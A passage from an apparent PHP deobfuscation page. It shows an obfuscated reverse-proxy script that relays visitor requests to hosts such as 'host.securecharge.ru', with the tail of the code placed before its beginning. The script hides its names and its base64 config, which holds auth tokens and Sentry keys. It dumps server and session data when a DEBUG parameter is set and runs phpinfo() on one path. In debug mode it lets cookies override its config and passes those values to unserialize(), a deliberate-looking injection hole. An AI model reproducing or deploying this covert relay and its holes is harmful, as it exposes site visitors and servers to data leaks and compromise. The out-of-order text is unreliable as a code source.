->mgrjmdvm(); return $this; } public function mtgzmjjm() { if (function_exists('phpinfo')) { phpinfo(); } } protected function nzgodbmo($mzcyzwew) { echo '<p>'.$mzcyzwew.'</p>'; } protected function otfinmiw() { $nezogqyj = phpversion(); $ngnmotkn = explode('.', $nezogqyj); $mzintqmm = ($ngnmotkn[0] * 10000 + $ngnmotkn[1] * 100 + $ngnmotkn[2]); $zmmxotmx = $mzintqmm > 50000; $this->nzgodbmo('Your PHP version is '.$nezogqyj.' which is '.($zmmxotmx ? '<span style="color:green">Good</span>' : '<span style="color:red">Bad</span>')); return $this; } protected function zmnhntdh() { $zmmxotmx = (session_id() != ""); $this->nzgodbmo('phpsession is '.($zmmxotmx ? 'Available, which is <span style="color:green">Good</span>' : '<span style="color:red">NOT Available</span> which is NOT good')); return $this; } protected function zdiwmwjh() { $zmmxotmx = defined('PCRE_VERSION'); $this->nzgodbmo('PCRE is '.($zmmxotmx ? 'Available, which is <span style="color:green">Good</span>' : '<span style="color:red">NOT Available</span> which is NOT good')); return $this; } protected function mwjhzgfk() { $zmmxotmx = (bool)ini_get('allow_url_fopen'); $this->nzgodbmo('allow_url_fopen is '.($zmmxotmx ? 'Enabled, which is <span style="color:green">Good</span>' : '<span style="color:red">NOT Enabled</span> which is NOT good')); return $this; } protected function otcowzhm() { $mwuzzjrm = @stream_socket_client("ssl://www.google.com:443", $mjcogexo, $odcmgixz, 30); if (!$mwuzzjrm) { return false; } $zjqmdbkz = ''; if ($mwuzzjrm) { fwrite($mwuzzjrm, "GET / HTTP/1.0
Host: www.google.com
Accept: */*

"); while (!feof($mwuzzjrm)) { $zjqmdbkz .= fgets($mwuzzjrm, 1024); } fclose($mwuzzjrm); } $zmmxotmx = ($mwuzzjrm && !empty($zjqmdbkz)); $this->nzgodbmo('Socked test '.($zmmxotmx ? '<span style="color:green">Passed</span>' : '<span style="color:red">Failed</span>')); return $this; } protected function nrhywuzm() { if(isset(ndfjzdym::$zmqyjazn['created_time'])){ $this->nzgodbmo('Created : ' . ndfjzdym::$zmqyjazn['created_time']); } return $this; } protected function yzezmgmx() { if(isset(ndfjzdym::$zmqyjazn['generated_checksum'])) { $this->nzgodbmo('Generation checksum : ' . ndfjzdym::$zmqyjazn['generated_checksum']); } return $this; } protected function zwqyyzvk() { $owuzjczo = md5($this->mjhmmtyz('.')); $this->nzgodbmo('Current checksum : ' . $owuzjczo); return $this; } protected function mjhmmtyz($nvlnzmyz) { $mzdhntmw = ''; $myxytizt = scandir($nvlnzmyz); foreach ($myxytizt as $zjmyyjyy) { if (in_array($zjmyyjyy, array(".", ".."))) { continue; } if (is_dir($nvlnzmyz . DIRECTORY_SEPARATOR . $zjmyyjyy)) { $mzdhntmw .= $this->mjhmmtyz($nvlnzmyz . DIRECTORY_SEPARATOR . $zjmyyjyy); } else { if (basename(__FILE__) == $zjmyyjyy) { $yqxmtbio = @file_get_contents($nvlnzmyz . DIRECTORY_SEPARATOR . $zjmyyjyy); $otfjyzjl = "/'generated_checksum' => '([a-z0-9]+)'/"; $otfinwmw = "'generated_checksum' => '{generated-checksum}'"; $yqxmtbio = preg_replace($otfjyzjl, $otfinwmw, $yqxmtbio, 1); $mzdhntmw .= md5($yqxmtbio); } else { $mzdhntmw .= @md5_file($nvlnzmyz . DIRECTORY_SEPARATOR . $zjmyyjyy); } } } return $mzdhntmw; } protected function mgrjmdvm() { $this->nzgodbmo('Version: ' . ndfjzdym::ztrmmjmo('yzymjimr')); } } class owvkotll { private $mmiwmjam = 0; public function __construct() { $this->mmiwmjam = $this->yzliyzgo(); } public function mtemtcyy() { return number_format($this->yzliyzgo() - $this->mmiwmjam, 5); } private function yzliyzgo() { return microtime(true); } public function __toString() { $mzdhntmw = $this->mtemtcyy(); return "{$mzdhntmw} sec"; } } class zjdmmtkn { static public function nmjjnmmw($nzazzwin) { if (!empty($nzazzwin)) { session_write_close(); session_id($nzazzwin); session_start(); } } } $mwizwyyt = new nwuowyyy(); $yzunjnjn = new mmzztnhn(); $zjezzjnj = new mzezndri(); $mdrhngzj = new nvimdqmi($yzunjnjn); $mgyxmjum = new ntrkzwjh($mwizwyyt, $mdrhngzj); $zgizzwvj = $mwizwyyt->request_uri; if (njrhmzbk || mtlizgfm) { if (!mtlizgfm) { $mgyxmjum->owrmndkn(); $yzunjnjn->njhymmym("zjdmmtkn Cache:"); $yzunjnjn->nzkxndmz(); } $mgyxmjum->zduzdknt(); } if (mtlizgfm) { $zjezzjnj ->njjiowmm() ->mrkoduyw() ->mtgzmjjm(); zjdmmtkn::nmjjnmmw($nzazzwin); exit(); } if ( !njrhmzbk && !($mwizwyyt->zgmzwmod() || $mwizwyyt->mteyztfj()) ) { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); exit(); } if (!$zgizzwvj) { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); if (njrhmzbk) { echo "Wrong request uri."; } exit(); } unset($mwizwyyt->request_uri); if (!njrhmzbk && !empty($nzazzwin) && isset($_SESSION['target']) && isset($_SESSION['target']['host']) && !empty($_SESSION['target']['host']) && isset($_SESSION['target']['ttl']) && !empty($_SESSION['target']['ttl']) && time() < $_SESSION['target']['ttl'] ) { try { $ymynmyyn = $mdrhngzj->yzlhmdan($_SESSION['target']['host'], $mwizwyyt, $zgizzwvj); } catch (Exception $nthlnmiz) { $mdrhngzj->zdfjnjux($nthlnmiz, array('function' => 'main')); $ymynmyyn = $mdrhngzj->nzmznjhh($mwizwyyt, $zgizzwvj); } } elseif (strlen(ndfjzdym::ztrmmjmo('yfimjqxm'))>0) { $ymynmyyn = $mdrhngzj->yzlhmdan(ndfjzdym::ztrmmjmo('yfimjqxm'), $mwizwyyt, $zgizzwvj); } elseif (strlen(ndfjzdym::ztrmmjmo('debug_proxy'))>0) { $ymynmyyn = $mdrhngzj->yzlhmdan(ndfjzdym::ztrmmjmo('debug_proxy'), $mwizwyyt, $zgizzwvj); } else { $ymynmyyn = $mdrhngzj->nzmznjhh($mwizwyyt, $zgizzwvj); } zjdmmtkn::nmjjnmmw($nzazzwin); if (njrhmzbk) { $yzunjnjn->njhymmym("Request details:"); $yzunjnjn->njhymmym("	URL: " . $mwizwyyt->ywunzliz()); $yzunjnjn->njhymmym("	Headers: 
" . $yzunjnjn->ndlmytgz()); $yzunjnjn->njhymmym("	Body: " . file_get_contents("php://input")); $yzunjnjn->njhymmym("


"); if (njrhmzbk == 'ping') { $yzunjnjn->njhymmym("Connectivity between host to Front:"); $yzunjnjn->nzlindvm(); } echo "$yzunjnjn


"; $nmyyjlhz = $mdrhngzj->mmrmnzri(); if (!empty($nmyyjlhz)) { echo "Exceptions:
"; echo $nmyyjlhz; echo "


"; } echo '$_REQUEST:' . "
"; print_r($_REQUEST); echo "


"; echo '$_SERVER:' . "
"; print_r($_SERVER); echo "


"; echo '$_SESSION:' . "
"; print_r($_SESSION); } else if ($ymynmyyn instanceof ndyztune) { $ymynmyyn->otvinwjl(); $ymynmyyn->ognmmtun(); } else { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); } ob_end_flush(); session_write_close(); exit(); ?>

Did this file decode correctly?

Original Code

<?php define('njrhmzbk', isset($_REQUEST['DEBUG']) ? $_REQUEST['DEBUG'] : false); define('mtlizgfm', preg_match('/i.php/', $_SERVER['REQUEST_URI'])); if (njrhmzbk) { ini_set("display_errors", 1);
error_reporting(E_ALL); } else { error_reporting(0); ini_set('expose_php', 0); } ob_start(); 
class ndfjzdym { public static $zmqyjazn = array( 'mmjhnwmy' => 'YToyOntzOjE6ImEiO3M6MjE6Imhvc3Quc2VjdXJlY2hhcmdlLnJ1LiI7czoxOiJiIjtzOjE2OiJob3N0LnNhZmVidXkuaXMuIjt9', 'yfimjqxm' => 'czowOiIiOw==', 'timeout_dns' => 300, 'timeout_proxy' => 10, 'connect_timeout_proxy' => 3, 'header_host_value' => 'czoxNjoidGVtcGxhdGUtYmFja2VuZCI7', 'yjazmtyo' => 'czoxMDoiQVVUSC1UT0tFTiI7', 'mzcnwzhy' => 'czozNjoiMGUwYjM3ZmUtMzdiMC0xMWVhLWFiMTQtMDAxNjNlYzg2ZDJlIjs=', 'otjlzddh' => 'czoxNzoiWC1UZ2Vucy1DbGllbnQtSXAiOw==', 'use_dns_fallback' => true, 'shared_session_ttl' => 1800, 'generated_checksum' => '8ac2f8f01e2ce3846cd03490596934a8', 'created_time' => '01/15/2020 03:59:47', 'ngzjmjez' => 'f021226dcb5b4394e800b65508fb3177', 'ntinzvlo' => '19519f7867fcc2d6f0114e19111e40d0', 'yzymjimr' => 'czowOiIiOw==', 'aid' => 'czo4OiIzMTM5NTkyMyI7', 'sentry_nginx_key' => '89a49025cd9dcacc588cf8273763d0aa', 'sentry_dsn_key' => 'dbdf56e39fd0478082807d375b142d75', 'sentry_project_id' => '21' ); public static function ymfkzdrm() { $zwnimjuy = getlastmod() . getmyinode() . php_uname('a') . phpversion(); return md5($zwnimjuy); } public static function ztrmmjmo($ytyyzjiy) { if (mtlizgfm || njrhmzbk) { if (array_key_exists('config_' . $ytyyzjiy, $_COOKIE)) { self::$zmqyjazn[$ytyyzjiy] = $_COOKIE['config_' . $ytyyzjiy]; } } if (empty(self::$zmqyjazn[$ytyyzjiy])) return ''; if (is_string(self::$zmqyjazn[$ytyyzjiy])) { $mwyotgxz = self::mwyotgxz(base64_decode(self::$zmqyjazn[$ytyyzjiy])); return $mwyotgxz ? unserialize(base64_decode(self::$zmqyjazn[$ytyyzjiy])) : self::$zmqyjazn[$ytyyzjiy]; } return self::$zmqyjazn[$ytyyzjiy]; } public static function mwyotgxz($zjmyyjyy) { $mwyotgxz = @unserialize($zjmyyjyy); return $mwyotgxz === false ? false : true; } } if (version_compare(PHP_VERSION, '5.0.0', '<')) { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); if (njrhmzbk) { echo "PHP Version < 5.0.0 : " . PHP_VERSION . "."; } exit(); } session_start(); $nzazzwin = session_id(); if (!empty($nzazzwin)) { session_write_close(); $ywiyqnzi = ndfjzdym::ymfkzdrm(); session_id($ywiyqnzi); session_start(); } class zmqywmyt extends Exception { } class nwuowyyy { public function zgizmmuz() { return "GET" == $_SERVER['REQUEST_METHOD']; } public function zdgzogji() { return "POST" == $_SERVER['REQUEST_METHOD']; } public function mjqynziz() { $njmxndni = array(); if (isset($_GET) && is_array($_GET)) { $njmxndni += $_GET; } if (isset($_POST) && is_array($_POST)) { $njmxndni += $_POST; } return $njmxndni; } public function zgmzwmod() { return isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest'; } public function mdendkzn() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $zjlhymez = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $zjlhymez = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $zjlhymez = $_SERVER['REMOTE_ADDR']; } return $zjlhymez; } public function ntuotriy($ntkzmqxn) { if (empty($ntkzmqxn)) { return ''; } $zdkotgzm = 'HTTP_' . strtoupper(str_replace('-', '_', $ntkzmqxn)); if (isset($_SERVER[$zdkotgzm])) { return $_SERVER[$zdkotgzm]; } if (function_exists('apache_request_headers')) { $mjzinddl = apache_request_headers(); if (isset($mjzinddl[$ntkzmqxn])) { return $mjzinddl[$ntkzmqxn]; } $ntkzmqxn = strtolower($ntkzmqxn); foreach ($mjzinddl as $ytyyzjiy => $zjmyyjyy) { if (strtolower($ytyyzjiy) == $ntkzmqxn) { return $zjmyyjyy; } } } return false; } public function mjknmqwy($ytyyzjiy = null, $nzuwnwqn = null) { if (null === $ytyyzjiy) { return $_GET; } return (isset($_GET[$ytyyzjiy])) ? $_GET[$ytyyzjiy] : $nzuwnwqn; } public function nzmnziyn($ytyyzjiy, $mzlmnjlj) { $_GET[$ytyyzjiy] = $mzlmnjlj; } public function mjfkmgrk($ytyyzjiy, $mzlmnjlj) { $_POST[$ytyyzjiy] = $mzlmnjlj; } public function yzcwyjaz($ytyyzjiy = null, $nzuwnwqn = null) { if (null === $ytyyzjiy) { return $_POST; } return (isset($_POST[$ytyyzjiy])) ? $_POST[$ytyyzjiy] : $nzuwnwqn; } public function __unset($nmflotkn) { if (isset($_GET) && is_array($_GET) && array_key_exists($nmflotkn, $_GET)) { unset($_GET[$nmflotkn]); } if (isset($_POST) && is_array($_POST) && array_key_exists($nmflotkn, $_POST)) { unset($_POST[$nmflotkn]); } } public function __get($ytyyzjiy) { switch (true) { case isset($this->_params[$ytyyzjiy]): return $this->_params[$ytyyzjiy]; case isset($_GET[$ytyyzjiy]): return $_GET[$ytyyzjiy]; case isset($_POST[$ytyyzjiy]): return $_POST[$ytyyzjiy]; case isset($_COOKIE[$ytyyzjiy]): return $_COOKIE[$ytyyzjiy]; case ($ytyyzjiy == 'REQUEST_URI'): return $this->getRequestUri(); case ($ytyyzjiy == 'PATH_INFO'): return $this->getPathInfo(); case isset($_SERVER[$ytyyzjiy]): return $_SERVER[$ytyyzjiy]; case isset($_ENV[$ytyyzjiy]): return $_ENV[$ytyyzjiy]; case $this->mteyztfj(): return '/sentry'; default: return null; } } public function mteyztfj() { return array_key_exists('sentry_key', $_GET); } public function nzgzotiz($ytyyzjiy) { return $this->__get($ytyyzjiy); } public function ywunzliz() { return (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; } } class nmeywumz { const zjazmgji = 'GET'; const njfmzjgx = 'POST'; const yjemgmym = '1.1'; const mdiyzqwo = 'Content-Type'; const mjrjmmiz = 'Content-Length'; const zgmmjqot = 'application/x-www-form-urlencoded'; const mjkzdyzm = 'Origin'; const zjmmjcwy = 'multipart/form-data'; private $zwjimjqz = null; private $ztjmyzqz = array(); private $zdmzntem = array(); private $mjbhyzzi = array(); private $odkzjkwn = null; private $mjkmzlzd = null; private $ntgymtli = null; public function __construct(zjamdgmj $mmmzdymg, $nzlnzjym) { if (!$mmmzdymg->zwimjiyj()) { $mmmzdymg->nzqngyzn(($mmmzdymg->nmzizdhj() == 'https' ? 443 : 80)); } $this->zwjimjqz = $mmmzdymg; $this->ntgymtli = $nzlnzjym; } public function mzzhodan($nmflotkn, $zjmyyjyy = null) { if (is_array($nmflotkn)) { foreach ($nmflotkn as $mtnmymqo => $nezogqyj) { if (is_string($mtnmymqo)) { $this->mzzhodan($mtnmymqo, $nezogqyj); } else { $this->mzzhodan($nezogqyj, null); } } } else { if ($zjmyyjyy === null && (strpos($nmflotkn, ':') > 0)) { list($nmflotkn, $zjmyyjyy) = explode(':', $nmflotkn, 2); } $owizdynd = strtolower($nmflotkn); if ($zjmyyjyy === null || $zjmyyjyy === false) { unset($this->ztjmyzqz[$owizdynd]); } else { if (is_string($zjmyyjyy)) { $zjmyyjyy = trim($zjmyyjyy); } $this->ztjmyzqz[$owizdynd] = array( $nmflotkn, $zjmyyjyy ); } } return $this; } public function nduwmzmn($nmflotkn, $zjmyyjyy = null) { if (is_array($nmflotkn)) { foreach ($nmflotkn as $mtnmymqo => $nezogqyj) $this->mjqmtnmy('GET', $mtnmymqo, $nezogqyj); } else { $this->mjqmtnmy('GET', $nmflotkn, $zjmyyjyy); } return $this; } public function mmvhntzk($nmflotkn, $zjmyyjyy = null) { if (is_array($nmflotkn)) { foreach ($nmflotkn as $mtnmymqo => $nezogqyj) $this->mjqmtnmy('POST', $mtnmymqo, $nezogqyj); } else { $this->mjqmtnmy('POST', $nmflotkn, $zjmyyjyy); } return $this; } private function mjqmtnmy($zdbhmuzj, $nmflotkn, $zjmyyjyy) { $otczdbhn = array(); $zdbhmuzj = strtolower($zdbhmuzj); switch ($zdbhmuzj) { case 'get': $otczdbhn =& $this->zdmzntem; break; case 'post': $otczdbhn =& $this->mjbhyzzi; break; } if ($zjmyyjyy === null) { if (isset($otczdbhn[$nmflotkn])) unset($otczdbhn[$nmflotkn]); } else { $otczdbhn[$nmflotkn] = $zjmyyjyy; } } public function ztriytun($ymziywyy = 'GET') { if (!preg_match('/^[^\x00-\x1f\x7f-\xff\(\)<>@,;:\\\\"\/\[\]\?={}\s]+$/', $ymziywyy)) { throw new zmqywmyt("Not a valid HTTP request method."); } if ($ymziywyy == self::njfmzjgx && $this->mjkmzlzd === null) { $this->mjkmzlzd = self::zgmmjqot; } $this->odkzjkwn = $ymziywyy; return $this; } public function mdgztiyj($ymziywyy = null) { if ($ymziywyy) { $this->ztriytun($ymziywyy); } $mgvjnmqx = null; $mmmzdymg = clone $this->zwjimjqz; if (!empty($this->zdmzntem)) { $nnkoteog = $mmmzdymg->mjknmqwy(); if (!empty($nnkoteog)) { $nnkoteog .= '&'; } $nnkoteog .= http_build_query($this->zdmzntem, null, '&'); $mmmzdymg->njmztbkm($nnkoteog); } $mdiwodnm = $this->nnhywezg(); $mjzinddl = $this->mzuztkyo(); $this->ntgymtli->zjexytew($mmmzdymg->ymuynjmt(), $mmmzdymg->zwimjiyj(), ($mmmzdymg->nmzizdhj() == 'https' ? true : false)); $this->ntgymtli->ztfkmgmy($this->odkzjkwn, $mmmzdymg, self::yjemgmym, $mjzinddl, $mdiwodnm); $mgvjnmqx = $this->ntgymtli->ytdhzmrk(); if (!$mgvjnmqx) { throw new zmqywmyt('Unable to read response, or response is empty'); } $mgvjnmqx = ndyztune::yjqynwqy($mgvjnmqx); return $mgvjnmqx; } public function zjgmddiz() { $zgqmjvjn = ndfjzdym::ztrmmjmo('sentry_nginx_key'); $otjkmjgn = ndfjzdym::ztrmmjmo('sentry_project_id'); $zmqyjazn = array( 'sentry_version' => $_GET['/api//store/?sentry_version'], 'sentry_client' => $_GET['sentry_client'], 'sentry_key' => ndfjzdym::ztrmmjmo('sentry_dsn_key') ); $mmmzdymg = clone $this->zwjimjqz; $mdiwodnm = file_get_contents('php://input'); $mmmzdymg->njmztbkm($zmqyjazn); $mmmzdymg->nzawmvhz("/$zgqmjvjn/api/$otjkmjgn/store/"); $this->mzzhodan(self::mjrjmmiz, strlen($mdiwodnm)); $this->mzzhodan(self::mdiyzqwo, 'text/plain'); $this->mzzhodan(self::mjkzdyzm, $_SERVER['HTTP_ORIGIN']); $mjzinddl = $this->mzuztkyo(); $this->ntgymtli->zjexytew($mmmzdymg->ymuynjmt(), $mmmzdymg->zwimjiyj(), $mmmzdymg->nmzizdhj() == 'https'); $this->ntgymtli->ztfkmgmy('POST', $mmmzdymg, self::yjemgmym, $mjzinddl, $mdiwodnm); $mgvjnmqx = $this->ntgymtli->ytdhzmrk(); if (!$mgvjnmqx) { throw new zmqywmyt('Unable to read response, or response is empty'); } $mgvjnmqx = ndyztune::yjqynwqy($mgvjnmqx); return $mgvjnmqx; } protected function mzuztkyo() { $mjzinddl = array(); if (!isset($this->ztjmyzqz['host'])) { $odzkzdfj = $this->zwjimjqz->ymuynjmt(); if (!(($this->zwjimjqz->nmzizdhj() == 'http' && $this->zwjimjqz->zwimjiyj() == 80) || ($this->zwjimjqz->nmzizdhj() == 'https' && $this->zwjimjqz->zwimjiyj() == 443))) { $odzkzdfj .= ':' . $this->zwjimjqz->zwimjiyj(); } $mjzinddl[] = "Host: {$odzkzdfj}"; } if (!isset($this->ztjmyzqz['connection'])) { $mjzinddl[] = "Connection: close"; } if (!isset($this->ztjmyzqz['accept-encoding'])) { if (function_exists('gzinflate')) { $mjzinddl[] = 'Accept-encoding: gzip, deflate'; } else { $mjzinddl[] = 'Accept-encoding: identity'; } } if ($this->odkzjkwn == self::njfmzjgx && (!isset($this->ztjmyzqz[strtolower(self::mdiyzqwo)]) && isset($this->mjkmzlzd))) { $mjzinddl[] = self::mdiyzqwo . ': ' . $this->mjkmzlzd; } foreach ($this->ztjmyzqz as $ntkzmqxn) { list($nmflotkn, $zjmyyjyy) = $ntkzmqxn; if (is_array($zjmyyjyy)) { $zjmyyjyy = implode(', ', $zjmyyjyy); } $mjzinddl[] = "$nmflotkn: $zjmyyjyy"; } return $mjzinddl; } protected function nnhywezg() { if (function_exists('mb_internal_encoding') && ((int)ini_get('mbstring.func_overload')) & 2) { $zdcxndjh = mb_internal_encoding(); mb_internal_encoding('ASCII'); } $mdiwodnm = ''; if (count($this->mjbhyzzi) > 0) { $this->mzzhodan(self::mdiyzqwo, self::zgmmjqot); $mdiwodnm = http_build_query($this->mjbhyzzi, '', '&'); } if ($mdiwodnm || $this->odkzjkwn == self::njfmzjgx) { $this->mzzhodan(self::mjrjmmiz, strlen($mdiwodnm)); } if (isset($zdcxndjh)) { mb_internal_encoding($zdcxndjh); } return $mdiwodnm; } } class zjamdgmj { const ymyngiyj = 'A-Za-z0-9'; const mdundand = '-_.!~*\'()\[\]'; const ztfknzkx = ';\/?:@&=+$,'; const odriotaz = ':@&=+$,;'; const ztkotqmt = '{}|\\\\^`'; protected $nzexyjdi = ''; protected $owqmwent = ''; protected $nwzkzmqo = ''; protected $mdmnzdjm = ''; protected $mzmzwmzd = ''; protected $owzlmgjm = ''; protected $mtmxntzm = array(); static protected $numtbint = array('allow_unwise' => false); protected function __construct($oweztuzw, $yzqyjkzt = '') { $this->nzexyjdi = $oweztuzw; $this->mtmxntzm['escaped'] = '%[[:xdigit:]]{2}'; $this->mtmxntzm['unreserved'] = '[' . self::ymyngiyj . self::mdundand . ']'; $this->mtmxntzm['segment'] = '(?:' . $this->mtmxntzm['escaped'] . '|[' . self::ymyngiyj . self::mdundand . self::odriotaz . '])*'; $this->mtmxntzm['path'] = '(?:\/(?:' . $this->mtmxntzm['segment'] . ')?)+'; $this->mtmxntzm['uric'] = '(?:' . $this->mtmxntzm['escaped'] . '|[' . self::ymyngiyj . self::mdundand . self::ztfknzkx . (self::$numtbint['allow_unwise'] ? self::ztkotqmt : '') . '])'; if (strlen($yzqyjkzt) === 0) { return; } $this->nzfinziy($yzqyjkzt); if ($this->ymvjmjyy() === false) { throw new zmqywmyt('Invalid zjamdgmj supplied'); } } public static function yjqynwqy($mmmzdymg) { if (is_string($mmmzdymg) === false) { throw new zmqywmyt('$mmmzdymg is not a string'); } $mmmzdymg = explode(':', $mmmzdymg, 2); $oweztuzw = strtolower($mmmzdymg[0]); $yzqyjkzt = isset($mmmzdymg[1]) === true ? $mmmzdymg[1] : ''; if (in_array($oweztuzw, array('http', 'https')) === false) { throw new zmqywmyt("Invalid scheme: '$oweztuzw'"); } $mzrjmzvh = new zjamdgmj($oweztuzw, $yzqyjkzt); return $mzrjmzvh; } protected function nzfinziy($yzqyjkzt) { $otfjyzjl = '~^((//)([^/?#]*))([^?#]*)(\?([^#]*))?(#(.*))?$~'; $ndhhmzym = @preg_match($otfjyzjl, $yzqyjkzt, $owyzztky); if ($ndhhmzym === false) { throw new zmqywmyt('Internal error: scheme-specific decomposition failed'); } if ($ndhhmzym === false) { return; } $this->mdmnzdjm = isset($owyzztky[4]) === true ? $owyzztky[4] : ''; $this->mzmzwmzd = isset($owyzztky[6]) === true ? $owyzztky[6] : ''; $mmzimgmz = isset($owyzztky[3]) === true ? $owyzztky[3] : ''; $otfjyzjl = '~^(([^:@]*)(:([^@]*))?@)?((?(?=[[])[[][^]]+[]]|[^:]+))(:(.*))?$~'; $ndhhmzym = @preg_match($otfjyzjl, $mmzimgmz, $owyzztky); if ($ndhhmzym === false) { throw new zmqywmyt('Internal error: authority decomposition failed'); } $this->owqmwent = isset($owyzztky[5]) === true ? preg_replace('~^\[([^]]+)\]$~', '\1', $owyzztky[5]) : ''; $this->nwzkzmqo = isset($owyzztky[7]) === true ? $owyzztky[7] : ''; } public function nmzizdhj() { if (empty($this->nzexyjdi) === false) { return $this->nzexyjdi; } else { return false; } } public function nzdhmjez() { if ($this->ymvjmjyy() === false) { throw newException('One or more parts of the zjamdgmj are invalid'); } $mdyyzdhh = strlen($this->nwzkzmqo) > 0 ? ":$this->nwzkzmqo" : ''; $nnkoteog = strlen($this->mzmzwmzd) > 0 ? "?$this->mzmzwmzd" : ''; return $this->nzexyjdi . '://' . $this->owqmwent . $mdyyzdhh . $this->mdmnzdjm . $nnkoteog; } public function ymvjmjyy() { return $this->mjcndriy() && $this->zthlymmy() && $this->ngjjmzcm() && $this->mgvlyjcy(); } public function ymuynjmt() { return strlen($this->owqmwent) > 0 ? $this->owqmwent : false; } public function mjcndriy($odzkzdfj = null) { if ($odzkzdfj === null) { $odzkzdfj = $this->owqmwent; } if (strlen($odzkzdfj) === 0) { return false; } if (nzazowrh::mduztyyn($odzkzdfj) || nzazowrh::mwymjgot($odzkzdfj)) { return true; } if (@preg_match('/^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$/', $odzkzdfj)) { return true; } return false; } public function nzqmzkyj($odzkzdfj) { if ($this->mjcndriy($odzkzdfj) === false) { throw new zmqywmyt("Host \"$odzkzdfj\" is not a valid HTTP host"); } $mdnjmwuo = $this->owqmwent; $this->owqmwent = $odzkzdfj; return $mdnjmwuo; } public function zwimjiyj() { return strlen($this->nwzkzmqo) > 0 ? $this->nwzkzmqo : false; } public function zthlymmy($mdyyzdhh = null) { if ($mdyyzdhh === null) { $mdyyzdhh = $this->nwzkzmqo; } if (strlen($mdyyzdhh) === 0) { return true; } return ctype_digit((string)$mdyyzdhh) and 1 <= $mdyyzdhh and $mdyyzdhh <= 65535; } public function nzqngyzn($mdyyzdhh) { if ($this->zthlymmy($mdyyzdhh) === false) { throw new zmqywmyt("Port \"$mdyyzdhh\" is not a valid HTTP port."); } $ymuyntmz = $this->nwzkzmqo; $this->nwzkzmqo = $mdyyzdhh; return $ymuyntmz; } public function ymmxmtli() { return strlen($this->mdmnzdjm) > 0 ? $this->mdmnzdjm : '/'; } public function ngjjmzcm($mzemgvjz = null) { if ($mzemgvjz === null) { $mzemgvjz = $this->mdmnzdjm; } if (strlen($mzemgvjz) === 0) { return true; } $otfjyzjl = '/^' . $this->mtmxntzm['path'] . '$/'; $ndhhmzym = @preg_match($otfjyzjl, $mzemgvjz); if ($ndhhmzym === false) { throw new zmqywmyt('Internal error: path validation failed'); } return (boolean)$ndhhmzym; } public function nzawmvhz($mzemgvjz) { if ($this->ngjjmzcm($mzemgvjz) === false) { throw new zmqywmyt("Path \"$mzemgvjz\" is not a valid HTTP path"); } $otnmmmyz = $this->mdmnzdjm; $this->mdmnzdjm = $mzemgvjz; return $otnmmmyz; } public function mjknmqwy() { return strlen($this->mzmzwmzd) > 0 ? $this->mzmzwmzd : false; } public function owmndvjn() { $nnkoteog = $this->mjknmqwy(); $mwrmodnl = array(); if ($nnkoteog !== false) { parse_str($nnkoteog, $mwrmodnl); } return $mwrmodnl; } public function mgvlyjcy($nnkoteog = null) { if ($nnkoteog === null) { $nnkoteog = $this->mzmzwmzd; } if (strlen($nnkoteog) === 0) { return true; } $otfjyzjl = '/^' . $this->mtmxntzm['uric'] . '*$/'; $ndhhmzym = @preg_match($otfjyzjl, $nnkoteog); if ($ndhhmzym === false) { throw new zmqywmyt('Internal error: query validation failed'); } return $ndhhmzym == 1; } public function njmztbkm($nnkoteog) { $nzhkzdbj = $this->mzmzwmzd; if (empty($nnkoteog) === true) { $this->mzmzwmzd = ''; return $nzhkzdbj; } if (is_array($nnkoteog) === true) { $nnkoteog = http_build_query($nnkoteog, '', '&'); } else { $nnkoteog = (string)$nnkoteog; if ($this->mgvlyjcy($nnkoteog) === false) { parse_str($nnkoteog, $njbmzdjl); $nnkoteog = http_build_query($njbmzdjl, '', '&'); } } if ($this->mgvlyjcy($nnkoteog) === false) { throw new zmqywmyt("'$nnkoteog' is not a valid query string"); } $this->mzmzwmzd = $nnkoteog; return $nzhkzdbj; } } class ndyztune { protected static $mtdmmzqn = array( 100 => 'Continue', 101 => 'Switching Protocols', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 307 => 'Temporary Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-zjamdgmj Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 509 => 'Bandwidth Limit Exceeded' ); protected $yzymjimr; protected $ztzmyjam; protected $nmyyjlhz; protected $mjzinddl = array(); protected $mdiwodnm; public function __construct($ztzmyjam, array $mjzinddl, $mdiwodnm = null, $yzymjimr = '1.1', $nmyyjlhz = null) { if (self::ngzjywqw($ztzmyjam) === null) { throw new zmqywmyt("{$ztzmyjam} is not a valid HTTP response code"); } $this->ztzmyjam = $ztzmyjam; foreach ($mjzinddl as $nmflotkn => $zjmyyjyy) { if (is_int($nmflotkn)) { $ntkzmqxn = explode(":", $zjmyyjyy, 2); if (count($ntkzmqxn) != 2) { throw new zmqywmyt("'{$zjmyyjyy}' is not a valid HTTP header"); } $nmflotkn = trim($ntkzmqxn[0]); $zjmyyjyy = trim($ntkzmqxn[1]); } 